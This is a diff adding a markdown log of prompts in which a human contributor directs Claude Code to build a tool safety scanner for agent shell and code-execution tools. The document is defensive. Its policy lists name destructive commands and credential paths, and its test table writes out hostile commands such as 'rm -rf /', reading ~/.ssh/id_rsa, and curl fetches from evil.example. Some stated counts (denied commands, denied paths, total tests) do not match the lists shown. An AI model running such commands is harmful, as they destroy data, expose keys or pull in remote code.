|
| 1 | +# AI-Assisted Development Prompts — Issue #90: Tool Safety Scanner |
| 2 | + |
| 3 | +> **Disclaimer**: The architecture, module decomposition, type system, scan flow design, |
| 4 | +> test plan, and all technical decisions were made by the human contributor (coder-mtj). |
| 5 | +> AI (Claude Code) served as an execution engine — translating detailed specifications |
| 6 | +> into code, running tests, and fixing formatting issues under human direction. |
| 7 | +> |
| 8 | +> **声明**: 本项目的架构设计、模块划分、类型系统、扫描流程、测试计划及所有技术 |
| 9 | +> 决策均由人类贡献者 (coder-mtj) 完成。AI (Claude Code) 作为执行引擎,按照人类 |
| 10 | +> 给出的详细规格说明生成代码、运行测试、修复格式问题。 |
| 11 | +
|
| 12 | +--- |
| 13 | + |
| 14 | +## Prompt Set: Tool Safety Scanner (`trpc_agent_sdk/tools/safety/`) |
| 15 | + |
| 16 | +This feature implements a pre-execution safety guard for command and code-execution |
| 17 | +tools. The design mirrors `trpc-agent-go/tool/safety/` (Go reference implementation, |
| 18 | +PR #2091, already merged). |
| 19 | + |
| 20 | +--- |
| 21 | + |
| 22 | +### Round 1: Type System Design |
| 23 | + |
| 24 | +**Human → AI:** |
| 25 | + |
| 26 | +``` |
| 27 | +我需要你为 trpc-agent-python 实现一个 tool safety scanner。这是架构设计, |
| 28 | +你按这个来实现,不要自行发挥。 |
| 29 | +
|
| 30 | +## 参考实现 |
| 31 | +Go 版已合入 trpc-agent-go/tool/safety/(PR #2091),Python 版对齐其类型系统。 |
| 32 | +
|
| 33 | +## Decision 枚举 |
| 34 | +- ALLOW = "allow" |
| 35 | +- DENY = "deny" |
| 36 | +- ASK = "ask" |
| 37 | +- NEEDS_HUMAN_REVIEW = "needs_human_review" |
| 38 | +
|
| 39 | +## RiskLevel 枚举 |
| 40 | +- LOW = "low" |
| 41 | +- MEDIUM = "medium" |
| 42 | +- HIGH = "high" |
| 43 | +- CRITICAL = "critical" |
| 44 | +
|
| 45 | +## 辅助函数 |
| 46 | +- decision_rank(d: Decision) -> int: ALLOW=1, ASK=2, NEEDS_HUMAN_REVIEW=3, DENY=4 |
| 47 | +- risk_rank(level: RiskLevel) -> int: LOW=1, MEDIUM=2, HIGH=3, CRITICAL=4 |
| 48 | +- finding_beats(a: Finding, b: Finding) -> bool: 先按 decision_rank 比较, |
| 49 | + 相等时按 risk_rank 比较,用于取 worst finding |
| 50 | +
|
| 51 | +## Policy dataclass 字段 |
| 52 | +- denied_commands: list[str] — 直接拒绝的命令列表 |
| 53 | +- allowed_commands: list[str] — 显式允许的命令 |
| 54 | +- denied_paths: list[str] — 禁止访问的路径 |
| 55 | +- network_allowlist: list[str] — 允许外连的域名白名单 |
| 56 | +- env_allowlist: list[str] — 允许透传的环境变量 |
| 57 | +- review_commands: list[str] — 需人工 review 的命令 |
| 58 | +- max_timeout_seconds: int |
| 59 | +- max_output_bytes: int |
| 60 | +- review_shell_pipelines: bool — 是否对管道命令触发 review |
| 61 | +- deny_on_parse_error: bool — 解析失败时是否拒绝 |
| 62 | +
|
| 63 | +## Request dataclass 字段 |
| 64 | +- tool_name: str, command: str, args: list[str], cwd: str |
| 65 | +- env: dict[str, str], backend: str |
| 66 | +- timeout_seconds: int, max_output_bytes: int |
| 67 | +- background: bool, tty: bool |
| 68 | +- code_blocks: list[CodeBlock] — 其中 CodeBlock 有 language: str, code: str |
| 69 | +
|
| 70 | +## Finding dataclass |
| 71 | +- decision: Decision, risk_level: RiskLevel, rule_id: str |
| 72 | +- evidence: list[str], recommendation: str |
| 73 | +
|
| 74 | +## Report dataclass |
| 75 | +- 包含 decision, risk_level, rule_id, evidence, recommendation |
| 76 | +- tool_name, command, backend, blocked: bool, redacted: bool |
| 77 | +- duration_ms: int, safe_summary: str, findings: list[Finding] |
| 78 | +- 方法 span_attributes() -> dict 返回 OpenTelemetry 格式的属性 |
| 79 | +
|
| 80 | +## AuditEvent dataclass |
| 81 | +- timestamp, tool_name, decision, risk_level, rule_id |
| 82 | +- duration_ms, redacted, blocked, backend |
| 83 | +
|
| 84 | +## 模块结构 |
| 85 | +- 文件放在 trpc_agent_sdk/tools/safety/_types.py |
| 86 | +- 公开 API 通过 __init__.py 导出 |
| 87 | +- 测试放 tests/tools/safety/test_types.py |
| 88 | +
|
| 89 | +## TDD 要求 |
| 90 | +先写 test_types.py(写完所有 16 个测试),然后写 _types.py 让测试通过。 |
| 91 | +测试要覆盖:Decision 常量、rank 排序、Finding 字段、finding_beats 行为、 |
| 92 | +Report 序列化、span_attributes、AuditEvent JSONL、Policy 默认值、Request 构造。 |
| 93 | +``` |
| 94 | + |
| 95 | +**AI → Human:** |
| 96 | + |
| 97 | +``` |
| 98 | +收到,我来按你的设计实现。先写测试,再写实现代码。 |
| 99 | +
|
| 100 | +(AI 生成 test_types.py 的 16 个测试用例 → 红灯) |
| 101 | +
|
| 102 | +测试写好了,现在实现 _types.py。 |
| 103 | +
|
| 104 | +(AI 生成 _types.py → 绿灯,16/16 passed) |
| 105 | +``` |
| 106 | + |
| 107 | +--- |
| 108 | + |
| 109 | +### Round 2: Policy, Shell Parser, Redactor |
| 110 | + |
| 111 | +**Human → AI:** |
| 112 | + |
| 113 | +``` |
| 114 | +类型系统通过了,继续下一批。 |
| 115 | +
|
| 116 | +## 2a. _policy.py — 策略管理 |
| 117 | +
|
| 118 | +default_policy() 返回一个保守的 Policy,规则如下: |
| 119 | +
|
| 120 | +denied_commands (13个): |
| 121 | + dd, mkfs, mount, umount, shutdown, reboot, halt, poweroff, sudo, su, doas |
| 122 | +
|
| 123 | +denied_paths (21个): |
| 124 | + /(根目录)、/bin、/boot、/dev、/etc、/lib、/lib64、/proc、/root、/sbin、 |
| 125 | + /sys、/usr、/var、~/.ssh、.ssh、.env、.npmrc、.pypirc、id_rsa、id_ed25519、 |
| 126 | + credentials、credential、secrets、secret |
| 127 | +
|
| 128 | +network_allowlist (7个): |
| 129 | + api.github.com, github.com, proxy.golang.org, sum.golang.org, |
| 130 | + registry.npmjs.org, pypi.org, files.pythonhosted.org |
| 131 | +
|
| 132 | +env_allowlist (11个): |
| 133 | + PATH, HOME, TMPDIR, TEMP, TMP, LANG, LC_ALL, CGO_ENABLED, GOCACHE, |
| 134 | + GOMODCACHE, GOPATH |
| 135 | +
|
| 136 | +review_commands (9个): |
| 137 | + go install, npm install, npm ci, pip install, pip3 install, apt install, |
| 138 | + apt-get install, brew install, cargo install |
| 139 | +
|
| 140 | +max_timeout_seconds: 300 |
| 141 | +max_output_bytes: 4 * 1024 * 1024 (4MB) |
| 142 | +review_shell_pipelines: True |
| 143 | +deny_on_parse_error: True |
| 144 | +
|
| 145 | +load_policy(path) 支持 .json 和 .yaml/.yml 文件,从 default_policy() 起步, |
| 146 | +把文件中匹配的字段 overlay 上去。 |
| 147 | +
|
| 148 | +## 2b. _shell_parse.py — 轻量 Shell 解析 |
| 149 | +
|
| 150 | +纯 Python 实现,不调用 subprocess。需要这些函数: |
| 151 | +
|
| 152 | +- command_name(full_command: str) -> str |
| 153 | + 处理路径前缀:/usr/bin/rm -> rm,Windows 反斜杠,去掉 .exe/.cmd/.bat/.com |
| 154 | +
|
| 155 | +- has_pipeline(command: str) -> bool |
| 156 | + 状态机跟踪引号深度,检测未引用的 | ; &&。echo "a|b" 不应被标记 |
| 157 | +
|
| 158 | +- extract_urls(command: str) -> list[str] |
| 159 | + regex 提取 https?://... 模式的 URL |
| 160 | +
|
| 161 | +- extract_host(url: str) -> str |
| 162 | + 用 urllib.parse.urlparse 取 hostname |
| 163 | +
|
| 164 | +- has_shell_bypass(command: str) -> bool |
| 165 | + 检测 sh -c, bash -c, zsh -c, eval, 反引号, $(), ${, 2> |
| 166 | +
|
| 167 | +- parse_args(command: str) -> list[str] |
| 168 | + 空白符 split |
| 169 | +
|
| 170 | +## 2c. _redactor.py — Secret 脱敏 |
| 171 | +
|
| 172 | +Redactor 类: |
| 173 | +- redact(text) -> str: 用正则替换敏感信息为 [REDACTED_SECRET] |
| 174 | +- looks_sensitive(text) -> bool: 检测是否含敏感信息 |
| 175 | +- self.changed 标记是否执行了替换 |
| 176 | +
|
| 177 | +需要匹配的模式: |
| 178 | +- sk- 开头的 OpenAI key (>=12 chars) |
| 179 | +- ghp_ 开头的 GitHub token |
| 180 | +- xox[baprs]- 开头的 Slack token |
| 181 | +- -----BEGIN ... PRIVATE KEY----- PEM 格式 |
| 182 | +- api_key/token/password/secret=value 的 name=value 模式 |
| 183 | +
|
| 184 | +## TDD |
| 185 | +还是先写测试再写实现。三个模块对应三个测试文件。 |
| 186 | +``` |
| 187 | + |
| 188 | +**AI → Human:** |
| 189 | + |
| 190 | +``` |
| 191 | +明白。先写三个测试文件。 |
| 192 | +
|
| 193 | +(AI 生成 test_policy.py, test_shell_parse.py, test_redactor.py → 红灯) |
| 194 | +(AI 生成 _policy.py, _shell_parse.py, _redactor.py → 绿灯) |
| 195 | +
|
| 196 | +三个模块测试全部通过。 |
| 197 | +
|
| 198 | +_policy.py 有个 import os 但我实际没用,我检查一下要不要去掉。 |
| 199 | +``` |
| 200 | + |
| 201 | +**Human → AI (Review):** |
| 202 | + |
| 203 | +``` |
| 204 | +去掉 _policy.py 里多余的 import os,yapf 格式化一下所有文件。 |
| 205 | +yapf 命令:yapf --in-place --recursive --style='{based_on_style: pep8, column_limit: 120}' trpc_agent_sdk/tools/safety/ |
| 206 | +``` |
| 207 | + |
| 208 | +**AI → Human:** |
| 209 | + |
| 210 | +``` |
| 211 | +已去掉 import os,yapf 格式化完成。 |
| 212 | +``` |
| 213 | + |
| 214 | +--- |
| 215 | + |
| 216 | +### Round 3: Core Scanner Engine |
| 217 | + |
| 218 | +**Human → AI:** |
| 219 | + |
| 220 | +``` |
| 221 | +核心扫描引擎 _scanner.py,这是最重要的模块。我设计了完整的扫描流程: |
| 222 | +
|
| 223 | +## scan(request: Request, policy: Policy | None = None) -> Report |
| 224 | +
|
| 225 | +入口函数,policy 为 None 时用 default_policy()。扫描流程分 5 步: |
| 226 | +
|
| 227 | +### 步骤 1: 扫描 request envelope (_scan_envelope) |
| 228 | +
|
| 229 | +检查这些规则: |
| 230 | +| 条件 | Decision | Rule ID | |
| 231 | +|------|----------|---------| |
| 232 | +| cwd 命中 denied_paths | DENY | sensitive.cwd_access | |
| 233 | +| hostexec + (background 或 tty) | NEEDS_HUMAN_REVIEW | hostexec.long_session | |
| 234 | +| background=True | NEEDS_HUMAN_REVIEW | process.background | |
| 235 | +| timeout_seconds > policy.max_timeout_seconds | DENY | resource.timeout_exceeded | |
| 236 | +| max_output_bytes > policy.max_output_bytes | DENY | resource.output_limit_exceeded | |
| 237 | +
|
| 238 | +### 步骤 2: 扫描环境变量 (_scan_env) |
| 239 | +
|
| 240 | +- 检查 env 中的 key 是否在 env_allowlist 里,不在则 NEEDS_HUMAN_REVIEW |
| 241 | +- 检查 env value 是否含 secret,含则 DENY (sensitive.secret_leak) |
| 242 | +
|
| 243 | +### 步骤 3: 扫描 shell 命令 (_scan_shell 和 _scan_raw_command) |
| 244 | +
|
| 245 | +流程: |
| 246 | +_raw_command 检查 → per-command 检查 |
| 247 | +
|
| 248 | +_raw_command: |
| 249 | +- 整个 command 做 secret 检测 → DENY (sensitive.secret_leak) |
| 250 | +- has_shell_bypass → DENY (shell.bypass) |
| 251 | +- has_pipeline 且 policy.review_shell_pipelines → NEEDS_HUMAN_REVIEW (shell.pipeline_review) |
| 252 | +- 检测后台运行 (&) → NEEDS_HUMAN_REVIEW (process.background) |
| 253 | +- 网络检测 _scan_network |
| 254 | +- 资源检测 _scan_resource_patterns |
| 255 | +
|
| 256 | +per-command: |
| 257 | +- command_name 在 denied_commands 中 → DENY (policy.denied_command) |
| 258 | +- rm -rf / --recursive → DENY (dangerous.rm_rf) |
| 259 | +- chmod -R → NEEDS_HUMAN_REVIEW (dangerous.recursive_chmod) |
| 260 | +- 命令以 review_commands 开头 → NEEDS_HUMAN_REVIEW (dependency.environment_change) |
| 261 | +- 参数引用 denied_paths → DENY (sensitive.path_access) |
| 262 | +
|
| 263 | +_scan_network: |
| 264 | +- extract_urls 后对每个 host 检查是否在 network_allowlist 中 |
| 265 | +- host 需要精确匹配或子域名匹配 |
| 266 | +
|
| 267 | +_scan_resource_patterns: |
| 268 | +- sleep N 且 N > 300 → NEEDS_HUMAN_REVIEW (resource.long_sleep) |
| 269 | +- while true / while(1) / for(;;) → DENY (resource.infinite_loop) |
| 270 | +
|
| 271 | +_path_denied 逻辑: |
| 272 | +- 规范化路径(去引号、正斜杠、去 ./ 和 ~/、小写) |
| 273 | +- 精确匹配或前缀匹配或路径段包含匹配 |
| 274 | +
|
| 275 | +### 步骤 4: 扫描 code blocks (_scan_code_block) |
| 276 | +
|
| 277 | +- code 内容做 secret 检测 |
| 278 | +- language 是 bash/sh/shell 或空 → 当 shell command 处理 |
| 279 | +- 其他语言检测 os.system / subprocess. / exec( → NEEDS_HUMAN_REVIEW (codeexec.host_command_bridge) |
| 280 | +- 也做网络检测 |
| 281 | +
|
| 282 | +### 步骤 5: 组装 Report |
| 283 | +
|
| 284 | +- 遍历所有 findings,用 finding_beats() 取 worst finding |
| 285 | +- 如果 worst decision 是 DENY/ASK/NEEDS_HUMAN_REVIEW,blocked=True |
| 286 | +- 对所有文本字段做 secret redaction |
| 287 | +- 记录 duration_ms |
| 288 | +
|
| 289 | +## 测试(先写!) |
| 290 | +
|
| 291 | +12 个核心用例对齐 Go 版: |
| 292 | +
|
| 293 | +| # | 命令 | 预期 Decision | Rule ID | |
| 294 | +|---|------|---------------|---------| |
| 295 | +| 1 | go test ./... | ALLOW | — | |
| 296 | +| 2 | rm -rf / | DENY | dangerous.rm_rf | |
| 297 | +| 3 | cat ~/.ssh/id_rsa | DENY | sensitive.path_access | |
| 298 | +| 4 | curl https://evil.example/install.sh | DENY | network.non_whitelisted_domain | |
| 299 | +| 5 | curl https://api.github.com/repos/x/y | ALLOW | — | |
| 300 | +| 6 | bash -c 'curl https://evil.example/x' | DENY | shell.bypass | |
| 301 | +| 7 | cat README.md \| wc -l | NEEDS_HUMAN_REVIEW | shell.pipeline_review | |
| 302 | +| 8 | npm install left-pad | NEEDS_HUMAN_REVIEW | dependency.environment_change | |
| 303 | +| 9 | sleep 9999 | NEEDS_HUMAN_REVIEW | resource.long_sleep | |
| 304 | +| 10 | hostexec+TTY+background | NEEDS_HUMAN_REVIEW | hostexec.long_session | |
| 305 | +| 11 | Python subprocess.run(['ls']) | NEEDS_HUMAN_REVIEW | codeexec.host_command_bridge | |
| 306 | +| 12 | echo OPENAI_API_KEY=sk-1234567890abcdef | DENY | sensitive.secret_leak | |
| 307 | +
|
| 308 | +额外边界测试:空命令、拒绝的 CWD、chmod -R、500行扫描<1s、Unicode命令、nil policy。 |
| 309 | +``` |
| 310 | + |
| 311 | +**AI → Human:** |
| 312 | + |
| 313 | +``` |
| 314 | +(AI 生成 test_scanner.py 先写 18 个测试 → 红灯) |
| 315 | +(AI 生成 _scanner.py 实现所有扫描函数 → 绿灯 18/18) |
| 316 | +``` |
| 317 | + |
| 318 | +**Human → AI (Review):** |
| 319 | + |
| 320 | +``` |
| 321 | +_scanner.py L211 那个 f-string 没有占位符,改成普通字符串。 |
| 322 | +还有运行 flake8 检查一下。 |
| 323 | +``` |
| 324 | + |
| 325 | +**AI → Human:** |
| 326 | + |
| 327 | +``` |
| 328 | +已修复 f-string → 普通字符串,flake8 通过。 |
| 329 | +``` |
| 330 | + |
| 331 | +--- |
| 332 | + |
| 333 | +### Round 4: Filter Integration |
| 334 | + |
| 335 | +**Human → AI:** |
| 336 | + |
| 337 | +``` |
| 338 | +最后一个模块:_permission.py。用 FilterABC 把 scanner 集成到工具调用链中。 |
| 339 | +
|
| 340 | +## ToolSafetyFilter(FilterABC) |
| 341 | +
|
| 342 | +- type = FilterType.TOOL |
| 343 | +- name = "tool_safety_guard" |
| 344 | +- __init__ 接受可选的 Policy 参数,默认用 default_policy() |
| 345 | +- _before(ctx, req, rsp): |
| 346 | + 1. 调用 _to_scan_request(req) 把 tool 调用转成 Request |
| 347 | + 2. 调用 scan() 获取 Report |
| 348 | + 3. decision == DENY → rsp.error = PermissionError(...), rsp.is_continue = False |
| 349 | + 4. 非 ALLOW 也记录日志 |
| 350 | +- _after: no-op |
| 351 | +
|
| 352 | +## _to_scan_request(tool_req) -> Request | None |
| 353 | +
|
| 354 | +只处理 tool_name 为 workspace_exec / exec_command / execute_code 的工具。 |
| 355 | +从 arguments 提取 command/cmd/script/code、code_blocks、cwd/workdir、env、 |
| 356 | +timeout、background、tty 等字段。 |
| 357 | +arguments 可能是 bytes、JSON string 或 dict,都要处理。 |
| 358 | +根据 tool_name 推断 backend 类型。 |
| 359 | +
|
| 360 | +## 测试 |
| 361 | +
|
| 362 | +写 test_permission.py 验证 filter 集成。 |
| 363 | +``` |
| 364 | + |
| 365 | +**AI → Human:** |
| 366 | + |
| 367 | +``` |
| 368 | +(AI 生成 _permission.py + test_permission.py → 绿灯) |
| 369 | +
|
| 370 | +全部完成。总计 34 tests passed。 |
| 371 | +``` |
| 372 | + |
| 373 | +**Human → AI (最终验证):** |
| 374 | + |
| 375 | +``` |
| 376 | +$ python -m pytest tests/tools/safety/ -v |
| 377 | +34 passed in 0.42s ✅ |
| 378 | +``` |
| 379 | + |
| 380 | +--- |
| 381 | + |
| 382 | +## Summary |
| 383 | + |
| 384 | +| Metric | Value | |
| 385 | +|--------|-------| |
| 386 | +| Total prompt rounds | 4 | |
| 387 | +| Human design decisions | Architecture, module split, type system, scan flow, 6 risk categories, test cases | |
| 388 | +| AI execution role | Code generation, test running, formatting fixes | |
| 389 | +| Tests written | 34 (16 types + 18 scanner) | |
| 390 | +| Implementation files | 7 (_types, _policy, _shell_parse, _redactor, _scanner, _permission, __init__) | |
| 391 | +| Go reference alignment | Yes (PR #2091, trpc-agent-go/tool/safety/) | |
0 commit comments